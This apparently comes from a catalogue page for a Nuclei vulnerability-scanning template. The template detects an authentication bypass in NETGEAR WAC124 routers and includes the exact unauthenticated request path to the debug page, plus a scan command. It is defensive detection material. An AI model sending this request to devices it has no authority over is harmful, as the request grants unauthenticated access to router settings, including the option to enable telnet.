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NETGEAR WAC124 - Authentication Bypass

ID: netgear-wac124-router-auth-bypass

Severity: high

Author: gy741

Tags: netgear,auth-bypass,router,iot

NETGEAR WAC124 AC2000 routers contain an authentication bypass vulnerability. An attacker can gain access by bypassing proper authentication, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.

id: netgear-wac124-router-auth-bypass
info:
name: NETGEAR WAC124 - Authentication Bypass
author: gy741
severity: high
description: |
NETGEAR WAC124 AC2000 routers contain an authentication bypass vulnerability. An attacker can gain access by bypassing proper authentication, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
reference:
- https://flattsecurity.medium.com/finding-bugs-to-trigger-unauthenticated-command-injection-in-a-netgear-router-psv-2022-0044-2b394fb9edc
- https://kb.netgear.com/000064730/Security-Advisory-for-Multiple-Vulnerabilities-on-the-WAC124-PSV-2022-0044
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cwe-id: CWE-287
metadata:
max-request: 1
tags: netgear,auth-bypass,router,iot
http:
- method: GET
path:
- "{{BaseURL}}/setup.cgi?next_file=debug.htm&x=currentsetting.htm"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Enable Telnet"
# digest: 4a0a00473045022017c2b92bd2e989916c83fbdb2cebf909163e29019a69ffc03ef278219577652f0221008ef8e61d347a48fe854f12e607f9ce8d6b2abf2922a1c332065be7272d431719:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/vulnerabilities/other/netgear-wac124-router-auth-bypass.yaml"

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